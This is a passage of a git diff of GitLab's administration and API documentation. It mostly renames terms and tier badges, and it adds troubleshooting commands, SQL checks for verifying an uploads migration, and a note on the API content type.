using gdb. +1. Follow step 2 from the previous section on using GDB. ### GitLab: API is not accessible @@ -279,4 +283,4 @@ The output in `/tmp/unicorn.txt` may help diagnose the root cause. ## More information - [Debugging Stuck Ruby Processes](https://blog.newrelic.com/engineering/debugging-stuck-ruby-processes-what-to-do-before-you-kill-9/) -- [Cheatsheet of using gdb and Ruby processes](gdb-stuck-ruby.txt) +- [Cheat sheet of using GDB and Ruby processes](gdb-stuck-ruby.txt) diff --git a/doc/administration/troubleshooting/elasticsearch.md b/doc/administration/troubleshooting/elasticsearch.md index fb153adfeab..0f60c43ef9e 100644 --- a/doc/administration/troubleshooting/elasticsearch.md +++ b/doc/administration/troubleshooting/elasticsearch.md @@ -232,7 +232,7 @@ If the results: ### Troubleshooting indexing Troubleshooting indexing issues can be tricky. It can pretty quickly go to either GitLab -support or your Elasticsearch admin. +support or your Elasticsearch administrator. The best place to start is to determine if the issue is with creating an empty index. If it is, check on the Elasticsearch side to determine if the `gitlab-production` (the @@ -245,7 +245,7 @@ If you still encounter issues, try creating an index manually on the Elasticsear instance. The details of the index aren't important here, as we want to test if indices can be made. If the indices: -- Cannot be made, speak with your Elasticsearch admin. +- Cannot be made, speak with your Elasticsearch administrator. - Can be made, Escalate this to GitLab support. If the issue is not with creating an empty index, the next step is to check for errors @@ -253,7 +253,7 @@ during the indexing of projects. If errors do occur, they will either stem from - On the GitLab side. You need to rectify those. If they are not something you are familiar with, contact GitLab support for guidance. -- Within the Elasticsearch instance itself. See if the error is [documented and has a fix](../../integration/elasticsearch.md#troubleshooting). If not, speak with your Elasticsearch admin. +- Within the Elasticsearch instance itself. See if the error is [documented and has a fix](../../integration/elasticsearch.md#troubleshooting). If not, speak with your Elasticsearch administrator. If the indexing process does not present errors, you will want to check the status of the indexed projects. You can do this via the following Rake tasks: @@ -271,7 +271,7 @@ If reindexing the project shows: - Errors on the GitLab side, escalate those to GitLab support. - Elasticsearch errors or doesn't present any errors at all, reach out to your - Elasticsearch admin to check the instance. + Elasticsearch administrator to check the instance. ### Troubleshooting integration @@ -284,7 +284,7 @@ If the issue is: This is a required package so make sure you install it. Go indexer was a beta indexer which can be optionally turned on/off, but in 12.3 it reached stable status and is now the default. - Not concerning the Go indexer, it is almost always an - Elasticsearch-side issue. This means you should reach out to your Elasticsearch admin + Elasticsearch-side issue. This means you should reach out to your Elasticsearch administrator regarding the error(s) you are seeing. If you are unsure here, it never hurts to reach out to GitLab support. @@ -354,12 +354,12 @@ learn them, so it is best to escalate/pair with an Elasticsearch expert if you n dig further into these. Feel free to reach out to GitLab support, but this is likely to be something a skilled -Elasticsearch admin has more experience with. +Elasticsearch administrator has more experience with. ### Troubleshooting background migrations Troubleshooting background migration failures can be difficult and may require contacting -an Elasticsearch admin or GitLab Support. +an Elasticsearch administrator or GitLab Support. The best place to start while debugging issues with a background migration is the [`elasticsearch.log` file](../logs.md#elasticsearchlog). Migrations will diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md index 4a112733bfa..55e707042ba 100644 --- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md +++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md @@ -5,13 +5,14 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# GitLab Rails Console Cheat Sheet **(CORE ONLY)** +# GitLab Rails Console Cheat Sheet **(FREE SELF)** This is the GitLab Support Team's collection of information regarding the GitLab Rails console, for use while troubleshooting. It is listed here for transparency, and it may be useful for users with experience with these tools. If you are currently -having an issue with GitLab, it is highly recommended that you check your -[support options](https://about.gitlab.com/support/) first, before attempting to use +having an issue with GitLab, it is highly recommended that you first check +our guide on [navigating our Rails console](navigating_gitlab_via_rails_console.md), +and your [support options](https://about.gitlab.com/support/), before attempting to use this information. WARNING: @@ -562,7 +563,7 @@ service = ::Groups::TransferService.new(group, user) service.execute(parent_group) ``` -### Count unique users in a group and sub-groups +### Count unique users in a group and subgroups ```ruby group = Group.find_by_path_or_name("groupname") diff --git a/doc/administration/troubleshooting/group_saml_scim.md b/doc/administration/troubleshooting/group_saml_scim.md index e9dbbfbde12..f0d44a578ff 100644 --- a/doc/administration/troubleshooting/group_saml_scim.md +++ b/doc/administration/troubleshooting/group_saml_scim.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Troubleshooting Group SAML and SCIM **(SILVER ONLY)** +# Troubleshooting Group SAML and SCIM **(PREMIUM SAAS)** These are notes and screenshots regarding Group SAML and SCIM that the GitLab Support Team sometimes uses while troubleshooting, but which do not fit into the official documentation. GitLab is making this public, so that anyone can make use of the Support team’s collected knowledge. diff --git a/doc/administration/troubleshooting/index.md b/doc/administration/troubleshooting/index.md index 67115ce31c0..63b056df8b7 100644 --- a/doc/administration/troubleshooting/index.md +++ b/doc/administration/troubleshooting/index.md @@ -13,7 +13,7 @@ in case something goes wrong: - [Diagnostics tools](diagnostics_tools.md) - [Elasticsearch](elasticsearch.md) - [GitLab Rails console cheat sheet](gitlab_rails_cheat_sheet.md) -- [Group SAML and SCIM troubleshooting](group_saml_scim.md) **(SILVER ONLY)** +- [Group SAML and SCIM troubleshooting](group_saml_scim.md) **(PREMIUM SAAS)** - [Kubernetes cheat sheet](kubernetes_cheat_sheet.md) - [Linux cheat sheet](linux_cheat_sheet.md) - [Parsing GitLab logs with `jq`](log_parsing.md) diff --git a/doc/administration/troubleshooting/kubernetes_cheat_sheet.md b/doc/administration/troubleshooting/kubernetes_cheat_sheet.md index 07a7baf338b..9766b2210ca 100644 --- a/doc/administration/troubleshooting/kubernetes_cheat_sheet.md +++ b/doc/administration/troubleshooting/kubernetes_cheat_sheet.md @@ -70,7 +70,7 @@ and they will assist you with any issues you are having. kubectl logs <pod-name> --previous ``` - No logs are kept in the containers/pods themselves. Everything is written to stdout. + No logs are kept in the containers/pods themselves. Everything is written to `stdout`. This is the principle of Kubernetes, read [Twelve-factor app](https://12factor.net/) for details. @@ -88,7 +88,7 @@ and they will assist you with any issues you are having. - Minimal configuration that can be used to [test a Kubernetes Helm chart](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/620). -- Tailing logs of a separate pod. An example for a Webservice pod: +- Tailing logs of a separate pod. An example for a `webservice` pod: ```shell kubectl logs gitlab-webservice-54fbf6698b-hpckq -c webservice @@ -154,7 +154,7 @@ and they will assist you with any issues you are having. - On the side of GitLab check Sidekiq log and Kubernetes log. When GitLab is installed via Helm Chart, `kubernetes.log` can be found inside the Sidekiq pod. -- How to get your initial admin password <https://docs.gitlab.com/charts/installation/deployment.html#initial-login>: +- How to get your initial administrator password <https://docs.gitlab.com/charts/installation/deployment.html#initial-login>: ```shell # find the name of the secret containing the password diff --git a/doc/administration/troubleshooting/linux_cheat_sheet.md b/doc/administration/troubleshooting/linux_cheat_sheet.md index c61a78624c3..c4e991ccc1b 100644 --- a/doc/administration/troubleshooting/linux_cheat_sheet.md +++ b/doc/administration/troubleshooting/linux_cheat_sheet.md @@ -55,7 +55,7 @@ chown root:git <file_or_dir> chmod u+x <file> ``` -### Files & Dirs +### Files and directories ```shell # create a new directory and all subdirectories @@ -202,7 +202,7 @@ or you can build it from source if you have the Rust compiler. First run the tool with no arguments other than the strace output filename to get a summary of the top processes sorted by time spent actively performing tasks. You -can also sort based on total time, # of syscalls made, PID #, and # of child processes +can also sort based on total time, # of system calls made, PID #, and # of child processes using the `-S` or `--sort` flag. The number of results defaults to 25 processes, but can be changed using the `-c`/`--count` option. See `--help` for full details. @@ -220,7 +220,7 @@ Top 25 PIDs ... ``` -Based on the summary, you can then view the details of syscalls made by one or more +Based on the summary, you can then view the details of system calls made by one or more processes using the `-p`/`--pid` for a specific process, or `-s`/`--stats` flags for a sorted list. `--stats` takes the same sorting and count options as summary. @@ -266,7 +266,7 @@ Rough numbers for calls to `open` and `openat` (used to access files) on various Slow storage can cause the dreaded `DeadlineExceeded` error in Gitaly. Also [see this entry](../operations/filesystem_benchmarking.md) -in the handbook for quick tests customers can perform to check their filesystem performance. +in the handbook for quick tests customers can perform to check their file system performance. Keep in mind that timing information from `strace` is often somewhat inaccurate, so small differences should not be considered significant. @@ -304,6 +304,24 @@ whois <ip_address> | grep -i "orgname\|netname" # Curl headers with redirect curl --head --location "https://example.com" + +# Test if a host is reachable on the network. `ping6` works on IPv6 networks. +ping example.com + +# Show the route taken to a host. `traceroute6` works on IPv6 networks. +traceroute example.com +mtr example.com + +# List details of network interfaces +ip address + +# Check local DNS settings +cat /etc/hosts +cat /etc/resolv.conf +systemd-resolve --status + +# Capture traffic to/from a host +sudo tcpdump host www.example.com ``` ## Package Management diff --git a/doc/administration/troubleshooting/log_parsing.md b/doc/administration/troubleshooting/log_parsing.md index 144aa0f6d3b..25300d036ed 100644 --- a/doc/administration/troubleshooting/log_parsing.md +++ b/doc/administration/troubleshooting/log_parsing.md @@ -179,3 +179,11 @@ jq --raw-output --slurp ' 663 106 ms, 96 ms, 94 ms 'groupABC/project123' ... ``` + +#### Find all projects affected by a fatal Git problem + +```shell +grep "fatal: " /var/log/gitlab/gitaly/current | \ + jq '."grpc.request.glProjectPath"' | \ + sort | uniq +``` diff --git a/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md b/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md index 68c12117222..481c95b925a 100644 --- a/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md +++ b/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md @@ -107,7 +107,7 @@ Up to now, we've been using `.find` or `.find_by`, which are designed to return only a single object (notice the `LIMIT 1` in the generated SQL query?). `.where` is used when it is desirable to get a collection of objects. -Let's get a collection of non-admin users and see what we can do with it: +Let's get a collection of non-administrator users and see what we can do with it: ```ruby users = User.where.not(admin: true) @@ -364,7 +364,7 @@ StateMachines::InvalidTransition (Cannot transition state via :block from :activ We see that a validation error from what feels like a completely separate attribute comes back to haunt us when we try to update the user in any way. -In practical terms, we sometimes see this happen with GitLab admin settings -- +In practical terms, we sometimes see this happen with GitLab administration settings -- validations are sometimes added or changed in a GitLab update, resulting in previously saved settings now failing validation. Because you can only update a subset of settings at once through the UI, in this case the only way to get @@ -388,7 +388,7 @@ User.find_by_any_email('user@example.com') The `find_by_any_email` method is a custom method added by GitLab developers rather than a Rails-provided default method. -**Get a collection of admin users:** +**Get a collection of administrator users:** ```ruby User.admins @@ -443,7 +443,7 @@ group = Group.find_by_full_path('group/subgroup') # Get group's immediate child projects group.projects -# Get group's child projects, including those in sub-groups +# Get group's child projects, including those in subgroups group.all_projects ``` diff --git a/doc/administration/troubleshooting/sidekiq.md b/doc/administration/troubleshooting/sidekiq.md index e4082f87c7d..147bf1123ad 100644 --- a/doc/administration/troubleshooting/sidekiq.md +++ b/doc/administration/troubleshooting/sidekiq.md @@ -221,7 +221,7 @@ It is possible to use [Sidekiq API](https://github.com/mperham/sidekiq/wiki/API) to perform a number of troubleshooting steps on Sidekiq. These are the administrative commands and it should only be used if currently -admin interface is not suitable due to scale of installation. +administration interface is not suitable due to scale of installation. All these commands should be run using `gitlab-rails console`. diff --git a/doc/administration/uploads.md b/doc/administration/uploads.md index 49af8358e29..d3a9777775f 100644 --- a/doc/administration/uploads.md +++ b/doc/administration/uploads.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Uploads administration **(CORE ONLY)** +# Uploads administration **(FREE SELF)** Uploads represent all user data that may be sent to GitLab as a single file. As an example, avatars and notes' attachments are uploads. Uploads are integral to GitLab functionality, and therefore cannot be disabled. @@ -49,12 +49,12 @@ _The uploads are stored by default in 1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. -## Using object storage **(CORE ONLY)** +## Using object storage **(FREE SELF)** > **Notes:** > > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3867) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.5. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17358) in [GitLab Core](https://about.gitlab.com/pricing/) 10.7. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17358) in [GitLab Free](https://about.gitlab.com/pricing/) 10.7. > - Since version 11.1, we support direct_upload to S3. If you don't want to use the local disk where GitLab is installed to store the @@ -112,7 +112,24 @@ _The uploads are stored by default in ``` 1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md). +1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate` Rake task](raketasks/uploads/migrate.md). +1. Optional: Verify all files migrated properly. + From [PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database) + (`sudo gitlab-psql -d gitlabhq_production`) verify `objectstg` below (where `store=2`) has count of all artifacts: + + ```shell + gitlabhq_production=# SELECT count(*) AS total, sum(case when store = '1' then 1 else 0 end) AS filesystem, sum(case when store = '2' then 1 else 0 end) AS objectstg FROM uploads; + + total | filesystem | objectstg + ------+------------+----------- + 2409 | 0 | 2409 + ``` + + Verify no files on disk in `artifacts` folder: + + ```shell + sudo find /var/opt/gitlab/gitlab-rails/uploads -type f | grep -v tmp | wc -l + ``` **In installations from source:** @@ -136,6 +153,22 @@ _The uploads are stored by default in 1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. 1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md). +1. Optional: Verify all files migrated properly. + From PostgreSQL console (`sudo -u git -H psql -d gitlabhq_production`) verify `objectstg` below (where `file_store=2`) has count of all artifacts: + + ```shell + gitlabhq_production=# SELECT count(*) AS total, sum(case when store = '1' then 1 else 0 end) AS filesystem, sum(case when store = '2' then 1 else 0 end) AS objectstg FROM uploads; + + total | filesystem | objectstg + ------+------------+----------- + 2409 | 0 | 2409 + ``` + + Verify no files on disk in `artifacts` folder: + + ```shell + sudo find /var/opt/gitlab/gitlab-rails/uploads -type f | grep -v tmp | wc -l + ``` #### OpenStack example @@ -162,6 +195,23 @@ _The uploads are stored by default in 1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md). +1. Optional: Verify all files migrated properly. + From [PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database) + (`sudo gitlab-psql -d gitlabhq_production`) verify `objectstg` below (where `store=2`) has count of all artifacts: + + ```shell + gitlabhq_production=# SELECT count(*) AS total, sum(case when store = '1' then 1 else 0 end) AS filesystem, sum(case when store = '2' then 1 else 0 end) AS objectstg FROM uploads; + + total | filesystem | objectstg + ------+------------+----------- + 2409 | 0 | 2409 + ``` + + Verify no files on disk in `artifacts` folder: + + ```shell + sudo find /var/opt/gitlab/gitlab-rails/uploads -type f | grep -v tmp | wc -l + ``` --- @@ -193,3 +243,19 @@ _The uploads are stored by default in 1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md). +1. Optional: Verify all files migrated properly. + From PostgreSQL console (`sudo -u git -H psql -d gitlabhq_production`) verify `objectstg` below (where `file_store=2`) has count of all artifacts: + + ```shell + gitlabhq_production=# SELECT count(*) AS total, sum(case when store = '1' then 1 else 0 end) AS filesystem, sum(case when store = '2' then 1 else 0 end) AS objectstg FROM uploads; + + total | filesystem | objectstg + ------+------------+----------- + 2409 | 0 | 2409 + ``` + + Verify no files on disk in `artifacts` folder: + + ```shell + sudo find /var/opt/gitlab/gitlab-rails/uploads -type f | grep -v tmp | wc -l + ``` diff --git a/doc/administration/user_settings.md b/doc/administration/user_settings.md index 9892d2a0764..681ce87edb6 100644 --- a/doc/administration/user_settings.md +++ b/doc/administration/user_settings.md @@ -1,6 +1,6 @@ --- -stage: Enablement -group: Distribution +stage: Manage +group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -10,7 +10,8 @@ GitLab administrators can modify user settings for the entire GitLab instance. ## Disallow users creating top-level groups -By default, new users can create top-level groups. To disable this, modify the appropriate configuration file. +By default, new users can create top-level groups. To disable this, modify the appropriate configuration file, +and then [reconfigure and restart GitLab](restart_gitlab.md). For Omnibus installations, add the following to `/etc/gitlab/gitlab.rb`: @@ -26,7 +27,8 @@ For source installations, uncomment the following line in `config/gitlab.yml`: ## Disallow users changing usernames -By default, new users can change their usernames. To disable this, modify the appropriate configuration file. +By default, new users can change their usernames. To disable this, modify the appropriate configuration file, +and then [reconfigure and restart GitLab](restart_gitlab.md). For Omnibus installations, add the following to `/etc/gitlab/gitlab.rb`: diff --git a/doc/administration/wikis/index.md b/doc/administration/wikis/index.md index 026f9b6f471..57bbe913216 100644 --- a/doc/administration/wikis/index.md +++ b/doc/administration/wikis/index.md @@ -1,11 +1,11 @@ --- type: reference, howto stage: Create -group: Knowledge +group: Editor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Wiki settings **(CORE ONLY)** +# Wiki settings **(FREE SELF)** Adjust the wiki settings of your GitLab instance. @@ -18,24 +18,24 @@ abuse of the feature. The default value is **52428800 Bytes** (50 MB). ### How does it work? -The content size limit will be applied when a wiki page is created or updated -through the GitLab UI or API. Local changes pushed via Git will not be validated. +The content size limit is applied when a wiki page is created or updated +through the GitLab UI or API. Local changes pushed via Git are not validated. -In order not to break any existing wiki pages, the limit doesn't have any -effect on them until a wiki page is edited again and the content changes. +To break any existing wiki pages, the limit doesn't take effect until a wiki page +is edited again and the content changes. ### Wiki page content size limit configuration This setting is not available through the [Admin Area settings](../../user/admin_area/settings/index.md). -In order to configure this setting, use either the Rails console +To configure this setting, use either the Rails console or the [Application settings API](../../api/settings.md). NOTE: -The value of the limit **must** be in bytes. The minimum value is 1024 bytes. +The value of the limit must be in bytes. The minimum value is 1024 bytes. #### Through the Rails console -The steps to configure this setting through the Rails console are: +To configure this setting through the Rails console: 1. Start the Rails console: @@ -61,14 +61,14 @@ To retrieve the current value, start the Rails console and run: #### Through the API -The process to set the wiki page size limit through the Application Settings API is -exactly the same as you would do to [update any other setting](../../api/settings.md#change-application-settings). +To set the wiki page size limit through the Application Settings API, use a command, +as you would to [update any other setting](../../api/settings.md#change-application-settings): ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings?wiki_page_max_content_bytes=52428800" ``` -You can also use the API to [retrieve the current value](../../api/settings.md#get-current-application-settings). +You can also use the API to [retrieve the current value](../../api/settings.md#get-current-application-settings): ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings" diff --git a/doc/analytics/README.md b/doc/analytics/README.md deleted file mode 100644 index 7c732f48ba8..00000000000 --- a/doc/analytics/README.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/group/index.md#user-contribution-analysis' ---- - -This document was moved to [another location](../user/group/index.md#user-contribution-analysis) - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/analytics/contribution_analytics.md b/doc/analytics/contribution_analytics.md deleted file mode 100644 index b9a52d9ca68..00000000000 --- a/doc/analytics/contribution_analytics.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/group/contribution_analytics/index.md' ---- - -This document was moved to [another location](../user/group/contribution_analytics/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/README.md b/doc/api/README.md index 8fb3269d28b..d6119fbfa43 100644 --- a/doc/api/README.md +++ b/doc/api/README.md @@ -21,7 +21,7 @@ Contributions are welcome. For a list of the available resources and their endpoints, see [API resources](api_resources.md). -## SCIM **(SILVER ONLY)** +## SCIM **(PREMIUM SAAS)** GitLab provides an [SCIM API](scim.md) that both implements [the RFC7644 protocol](https://tools.ietf.org/html/rfc7644) and provides the @@ -124,7 +124,7 @@ There are several methods you can use to authenticate with the GitLab API: - [GitLab CI/CD job token](#gitlab-ci-job-token) **(Specific endpoints only)** NOTE: -Project access tokens are supported for self-managed instances on Core and +Project access tokens are supported for self-managed instances on Free and higher. They're also supported on GitLab.com Bronze and higher. For administrators who want to authenticate with the API as a specific user, or who want @@ -200,16 +200,16 @@ With a few API endpoints you can use a [GitLab CI/CD job token](../user/project/ to authenticate with the API: - Packages: - - [Composer Repository](../user/packages/composer_repository/index.md) - - [Conan Repository](../user/packages/conan_repository/index.md) + - [Package Registry for Composer](../user/packages/composer_repository/index.md) + - [Package Registry for Conan](../user/packages/conan_repository/index.md) - [Container Registry](../user/packages/container_registry/index.md) (`$CI_REGISTRY_PASSWORD` is `$CI_JOB_TOKEN`) - [Go Proxy](../user/packages/go_proxy/index.md) - - [Maven Repository](../user/packages/maven_repository/index.md#authenticate-with-a-ci-job-token-in-maven) - - [NPM Repository](../user/packages/npm_registry/index.md#authenticate-with-a-ci-job-token) - - [Nuget Repository](../user/packages/nuget_repository/index.md) - - [PyPI Repository](../user/packages/pypi_repository/index.md#authenticate-with-a-ci-job-token) - - [Generic packages](../user/packages/generic_packages/index.md#publish-a-generic-package-by-using-cicd) + - [Package Registry for Maven](../user/packages/maven_repository/index.md#authenticate-with-a-ci-job-token-in-maven) + - [Package Registry for npm](../user/packages/npm_registry/index.md#authenticate-with-a-ci-job-token) + - [Package Registry for NuGet](../user/packages/nuget_repository/index.md) + - [Package Registry for PyPI](../user/packages/pypi_repository/index.md#authenticate-with-a-ci-job-token) + - [Package Registry for generic packages](../user/packages/generic_packages/index.md#publish-a-generic-package-by-using-cicd) - [Get job artifacts](job_artifacts.md#get-job-artifacts) - [Pipeline triggers](pipeline_triggers.md) (using the `token=` parameter) - [Release creation](releases/index.md#create-a-release) @@ -744,3 +744,15 @@ For administrator documentation on rate limit settings, see [Rate limits](../security/rate_limits.md). To find the settings that are specifically used by GitLab.com, see [GitLab.com-specific rate limits](../user/gitlab_com/index.md#gitlabcom-specific-rate-limits). + +## Content type + +The GitLab API supports the `application/json` content type by default, though +some API endpoints also support `text/plain`. + +In [GitLab 13.9 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/250342), +API endpoints do not support `text/plain` by default, unless it's explicitly documented. + +This change is deployed behind the `:api_always_use_application_json` [feature flag](../user/feature_flags.md), +enabled by default. On GitLab self-managed instances, GitLab administrators can choose +to [disable it](../administration/feature_flags.md). **(FREE SELF)** diff --git a/doc/api/admin_sidekiq_queues.md b/doc/api/admin_sidekiq_queues.md index 7f2f2b8668c..9cbdcb863d6 100644 --- a/doc/api/admin_sidekiq_queues.md +++ b/doc/api/admin_sidekiq_queues.md @@ -4,7 +4,7 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Sidekiq queues administration API **(CORE ONLY)** +# Sidekiq queues administration API **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25998) in GitLab 12.9 diff --git a/doc/api/api_resources.md b/doc/api/api_resources.md index 029e434749f..ebe856715a6 100644 --- a/doc/api/api_resources.md +++ b/doc/api/api_resources.md @@ -25,6 +25,7 @@ The following API resources are available in the project context: | Resource | Available endpoints | |:--------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [Access requests](access_requests.md) | `/projects/:id/access_requests` (also available for groups) | +| [Access tokens](resource_access_tokens.md) | `/projects/:id/access_tokens` | | [Award emoji](award_emoji.md) | `/projects/:id/issues/.../award_emoji`, `/projects/:id/merge_requests/.../award_emoji`, `/projects/:id/snippets/.../award_emoji` | | [Branches](branches.md) | `/projects/:id/repository/branches/`, `/projects/:id/repository/merged_branches` | | [Commits](commits.md) | `/projects/:id/repository/commits`, `/projects/:id/statuses` | @@ -76,7 +77,7 @@ The following API resources are available in the project context: | [Remote mirrors](remote_mirrors.md) | `/projects/:id/remote_mirrors` | | [Repositories](repositories.md) | `/projects/:id/repository` | | [Repository files](repository_files.md) | `/projects/:id/repository/files` | -| [Repository submodules](repository_submodules.md) | `/projects/:id/repository/submodules` | +| [Repository submodules](repository_submodules.md) | `/projects/:id/repository/submodules` | | [Resource label events](resource_label_events.md) | `/projects/:id/issues/.../resource_label_events`, `/projects/:id/merge_requests/.../resource_label_events` (also available for groups) | | [Runners](runners.md) | `/projects/:id/runners` (also available standalone) | | [Search](search.md) | `/projects/:id/search` (also available for groups and standalone) | @@ -127,10 +128,10 @@ The following API resources are available outside of project and group contexts | Resource | Available endpoints | |:---------------------------------------------------|:------------------------------------------------------------------------| | [Instance-level CI/CD variables](instance_level_ci_variables.md) | `/admin/ci/variables` | -| [Sidekiq queues administration](admin_sidekiq_queues.md) **(CORE ONLY)** | `/admin/sidekiq/queues/:queue_name` | -| [Appearance](appearance.md) **(CORE ONLY)** | `/application/appearance` | +| [Sidekiq queues administration](admin_sidekiq_queues.md) **(FREE SELF)** | `/admin/sidekiq/queues/:queue_name` | +| [Appearance](appearance.md) **(FREE SELF)** | `/application/appearance` | | [Applications](applications.md) | `/applications` | -| [Audit Events](audit_events.md) **(PREMIUM ONLY)** | `/audit_events` | +| [Audit Events](audit_events.md) **(PREMIUM SELF)** | `/audit_events` | | [Avatar](avatar.md) | `/avatar` | | [Broadcast messages](broadcast_messages.md) | `/broadcast_messages` | | [Code snippets](snippets.md) | `/snippets` | @@ -138,14 +139,15 @@ The following API resources are available outside of project and group contexts | [Deploy keys](deploy_keys.md) | `/deploy_keys` (also available for projects) | | [Events](events.md) | `/events`, `/users/:id/events` (also available for projects) | | [Feature flags](features.md) | `/features` | -| [Geo Nodes](geo_nodes.md) **(PREMIUM ONLY)** | `/geo_nodes` | +| [Geo Nodes](geo_nodes.md) **(PREMIUM SELF)** | `/geo_nodes` | | [Group Activity Analytics](group_activity_analytics.md) **(STARTER)** | `/analytics/group_activity/{issues_count | merge_requests_count | new_members_count }` | +| [Group repository storage moves](group_repository_storage_moves.md) **(PREMIUM SELF)** | `/group_repository_storage_moves` | | [Import repository from GitHub](import.md) | `/import/github` | | [Instance clusters](instance_clusters.md) | `/admin/clusters` | | [Issues](issues.md) | `/issues` (also available for groups and projects) | | [Issues Statistics](issues_statistics.md) | `/issues_statistics` (also available for groups and projects) | | [Keys](keys.md) | `/keys` | -| [License](license.md) **(CORE ONLY)** | `/license` | +| [License](license.md) **(FREE SELF)** | `/license` | | [Markdown](markdown.md) | `/markdown` | | [Merge requests](merge_requests.md) | `/merge_requests` (also available for groups and projects) | | [Metrics dashboard annotations](metrics_dashboard_annotations.md) | `/environments/:id/metrics_dashboard/annotations`, `/clusters/:id/metrics_dashboard/annotations` | @@ -154,13 +156,13 @@ The following API resources are available outside of project and group contexts | [Pages domains](pages_domains.md) | `/pages/domains` (also available for projects) | | [Personal access tokens](personal_access_tokens.md) | `/personal_access_tokens` | | [Projects](projects.md) | `/users/:id/projects` (also available for projects) | -| [Project repository storage moves](project_repository_storage_moves.md) **(CORE ONLY)** | `/project_repository_storage_moves` | +| [Project repository storage moves](project_repository_storage_moves.md) **(FREE SELF)** | `/project_repository_storage_moves` | | [Runners](runners.md) | `/runners` (also available for projects) | | [Search](search.md) | `/search` (also available for groups and projects) | -| [Settings](settings.md) **(CORE ONLY)** | `/application/settings` | -| [Snippet repository storage moves](snippet_repository_storage_moves.md) **(CORE ONLY)** | `/snippet_repository_storage_moves` | +| [Settings](settings.md) **(FREE SELF)** | `/application/settings` | +| [Snippet repository storage moves](snippet_repository_storage_moves.md) **(FREE SELF)** | `/snippet_repository_storage_moves` | | [Statistics](statistics.md) | `/application/statistics` | -| [Sidekiq metrics](sidekiq_metrics.md) **(CORE ONLY)** | `/sidekiq` | +| [Sidekiq metrics](sidekiq_metrics.md) **(FREE SELF)** | `/sidekiq` | | [Suggestions](suggestions.md) | `/suggestions` | | [System hooks](system_hooks.md) | `/hooks` | | [To-dos](todos.md) | `/todos` | diff --git a/doc/api/appearance.md b/doc/api/appearance.md index d03fc94cfcf..5689cacd9ce 100644 --- a/doc/api/appearance.md +++ b/doc/api/appearance.md @@ -4,7 +4,7 @@ group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Appearance API **(CORE ONLY)** +# Appearance API **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16647) in GitLab 12.7. diff --git a/doc/api/applications.md b/doc/api/applications.md index eb4930c8721..19a80685b6f 100644 --- a/doc/api/applications.md +++ b/doc/api/applications.md @@ -14,7 +14,7 @@ Applications API operates on OAuth applications for: - [Allowing access to GitLab resources on a user's behalf](oauth2.md). NOTE: -Only admin users can use the Applications API. +Only administrator users can use the Applications API. ## Create an application diff --git a/doc/api/audit_events.md b/doc/api/audit_events.md index 5017c8defaf..78bf292a3d7 100644 --- a/doc/api/audit_events.md +++ b/doc/api/audit_events.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Audit Events API -## Instance Audit Events **(PREMIUM ONLY)** +## Instance 